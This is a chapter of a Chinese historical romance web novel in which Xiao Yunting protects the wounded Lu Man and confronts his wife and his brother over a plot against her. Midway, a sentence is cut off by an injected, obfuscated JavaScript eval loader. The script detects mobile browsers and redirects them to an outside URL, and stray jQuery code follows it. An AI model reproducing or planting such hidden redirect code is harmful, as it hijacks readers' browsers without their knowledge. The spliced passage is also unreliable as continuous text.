“大公子,夫人已经在外面等了两个时辰了。”
听到这句话,萧云廷的周身仿若笼了一层刺骨的寒意,他缓缓站起身,将她放在外面的手臂轻轻置于锦被中,再转过身时,眸中俨然多了几分阴戾。
他返身,掀开帐幔正要出去,却刚好看见玉燕捧着盆水进来。
他不知道她这几天到底经历了什么,但在替她处理伤口时,他明显看到,她的伤除了反复受创的腹部外,身上还遍布着多处划磕的小伤,要处理这些伤,就必须得先将身上全部的衣物褪去,清洁过后才能上药,否则很容易化脓。
而这些事情,自然是只有交给玉燕去做。
“伤药在柜子上,擦洗的时候注意一些,最好不要让水碰到伤口。”
玉燕点了点头:“大公子放心,奴婢晓得怎么做。”
萧云廷微微回头看了眼身后,随手放下纱幔,走了出去。
玉燕将端来的水轻轻放至榻旁的凳子上后,再从旁边的柜子上取来药膏。
但,当她轻轻褪去陆蔓那身已被鲜血浸染透的衣衫时,却让她的手不禁微微颤了一下。
她的身上除了腹部那道刀伤外,全身上下竟遍布着许多密密的被荆棘划破的伤痕,她这几天,到底都经历了什么?
她没有再继续想下去,这些,不关她的事,亦不是她该去关心的。
回过神,她小心翼翼的替陆蔓将身子擦洗了一遍,随后再将萧云廷留下的药膏轻轻的均匀涂抹在伤口上。
原本她是想替陆蔓穿好衣服的,可是看到陆蔓身上的伤口时,她还是犹豫了,若是此时穿上衣服必定会将药膏蹭掉,而且一直捂着不利于伤口恢复,稍定了心神后,她还是拉过一旁的锦被轻轻的盖在了陆蔓的身上。
做好这一切后,她起身,将换下来的衣物放在盆中,轻轻退出了房间。
屋外,雨依旧下个不停,林惜若站在雨中,虽然身后有丫鬟在为她撑伞,可仍旧免不了被雨水打湿。
看见那扇紧闭的房门缓缓开启时,她的脸上终是露出了一丝微笑,可这抹微笑在随着萧云廷的身影出现在眼前时只消失的无影无踪。
她今日等在这里并不为别的,只是她的棋还没有走完罢了。
她瞧向萧云廷时,萧云廷正凝定她,只说出一句话:“你,很好。”
简单的三个字,可其中暗藏的意味再明显不过,他已知道她和萧舒仪合谋做的那些事。
本来,她是想杀了那个女人的,可萧舒仪却非要留那女人一命,说陆泽一死,洛阳那边肯定不久就会对益州用兵,那个女人将来可是有大的用处,没办法,她只能先答应萧舒仪了,可为了泄愤,她当然得先将那女人好好折磨一番,再让萧舒仪把人带走藏好,若那个女人真的撑不住死在荒郊野外倒也干净,只是没想到他们的计划那么快就被萧云廷发现了,还在萧舒仪赶到之前将人带了回来。
她真是恨透了那个女人,也恨透了萧云廷,不过现在,她才是他名义上的妻子,谁笑到最后还不一定呢。
“夫君这话何意,妾身惶恐。”林惜若微微低头,伞沿遮去了她大半张脸。
“你惶恐?”萧云廷嘴角勾起,讽刺的笑了:“你和舒仪合谋做那些事的时候,怎么不见你有过一丝害怕。”
“我跟二公子这么做也都是为了夫君和益州着想,孙卓她本就是朝廷的细作,可你却一而再再而三的维护她,我不能眼睁睁的看着你被她迷惑。”
“我跟她的事,还轮不到你来操心,这是最后一次,若再让我知道你在背后做出什么对她不利的事,就休怪我对你不客气。”萧云廷话音刚落,一道闪电忽然划破天空,给这句话凭添了几分残酷。
“她到底有什么好,我才是你名门正娶的妻子,可你的眼里偏偏只有她,她就只是一个细作而已,你再怎么喜欢,也不可能跟她在一起的,现在所有人都知道了她的身份,她连能不能活下去都不一定,你还要护着她吗?”
萧云廷笑着看向林惜若,眼中浮现的不仅是冷漠,更多了一份讥讽:“我从未承认过你是我的妻子,你也没有任何地方可以拿来跟她做比较,只要有我在一日,就绝不允许任何人动她分毫。”
林惜若猛然抬头,对上萧云廷那双讥讽的眸子,她有些不可置信的望着他,这,真的还是那个她喜欢了六年的人吗?
“可...可我们明明就已经成过亲了啊,我怎么能不算是你的妻子呢?”不死心的,她又问出这一句。
“我们那天连堂都没有拜完,而且,至今未洞房,又怎么能算是成婚呢?”看着林惜若那诧异的眼神,萧云廷负手而立,目光投向远处茫茫大雨中。
林惜若的手隐隐有些颤抖,但还是强自镇定的说道:“我不过就是好心提醒你一下,趁着现在她还没醒,侯爷和夫人那边,你自己去和他们解释吧。”
“这件事我自会去解决,就不劳你费心了。”萧云廷转身,便要迈步离去。
林惜若突然在背后开口说道:“那我就静静地看着你如何解决这件事,但我还是想再提醒你一句,孙卓她其实是...”
“大哥。”一道激昂的声音突然从另一侧响起,打断了林惜若的话。
看到来人是萧舒仪时,林惜若也不再多说什么,微微福了一下身后便先行离开了。
萧舒仪缓缓走上前,声音沉稳冷静,听不出任何情绪:“对不起,是我骗了你,但你知道的,我做这一切都是为了你好,我不想你为了那个女人再走错一步。”
“我知道。”萧云廷的声音比之方才,亦平静了许多:“你我是亲兄弟,我自然知道你所做的一切都是为了我好,但如果你还当我是你的大哥,就请你以后不要再做任何伤害她的事好吗?”
“为什么,都已经到了这个时候了,你为什么还是如此执迷不悟呢?她根本就不爱你,更不值得你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515651|182959||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为她这般。”
“我知道她不爱我,可,我没有办法不去爱她,我控制不住自己不去想她,若是她没了,我这里也就一并死了,你明白吗?”萧云廷指着自己左边胸口,心脏的位置。
“现在陆泽已经死在了我们手里,就算我们答应你让她留下来,可你觉得等她醒来后,你们还能回到之前那样吗?她会跟你在一起吗?”
萧云廷没有说话,他怎会不清楚这些呢?他比谁都清楚,随着天色渐暗,他看到轩窗的那边已经亮起了灯,随后,玉燕端着衣物从房间里面走了出来。
看到萧云廷和萧舒仪在门口说着什么,玉燕滞了一下,随后缓缓走上前,低声:“奴婢已经替姑娘上过药了,暂时应该没有什么大碍。”
萧云廷点了点头,随后挥手示意玉燕退下。
萧舒仪眉头紧蹙着,声音虽低,但字字清晰:“我知道,失去她你会难过,可七年前,你不也经历过一次失去,最终不还是走出来了吗,这天下女子那么多,有的是比她优秀的人,总会有再合你心意的女子。”
“等有一天你也遇到了一个自己喜欢的人,就会知道,有些人,是无法被取代的,有些感情,是穷极一生也无法忘记的。”
“大哥。”萧舒仪唤出这一声时,萧云廷已然转身离去。
他始终不明白,大哥口中的情爱究竟是个什么东西,为什么明明让他那么难受,可他却依旧不肯放手呢。
在他眼里,所有的事都跟利益挂钩的,但除了他和大哥的关系,对他来说,大哥就是他的一切,所有对大哥有利的事他都会去做,同样,所有会阻碍大哥的人和事,他也都会一一除掉。
萧云廷推开房门,刚走进去几步,突然又停下了步子,他不知道该怎么去面对她,虽然知道她还没有醒来,可依旧不敢再走上前一步。
没错,今晚,他的心很乱。
既希望她快点醒来,却又害怕她那么快醒来。
至少,在她没有醒来的这段时间,他还可以陪在她身边,可等她醒来后,他想,她该是不会再需要他了吧。
踌躇间,门外突然传来下人的禀报声:“大公子,老夫人头风犯了,让您过去一趟。”
“大夫瞧过了吗?”他只问出这句话,并未回身。
“老夫人说她这是老毛病了,不让请大夫,只说让您过去给她按一下就好了。”
“我知道了,你先回去吧,告诉母亲说我等会儿就去。”
“是。”
萧云廷知道,母亲头风犯了是假,不过是想让他过去处理眼下的事情罢了。
然,他并没有着急赶过去,只是绕到屏风后面,静静地望着躺在床榻上的那人,她依旧昏睡着,可眉心却总是微微颦着,难道在梦里,她也经历了什么让她难受的事吗?
他走上前,抬起手轻轻替她抚平微蹙的眉头,在看到她睡得恬静后,方退出房间轻轻将门阖上。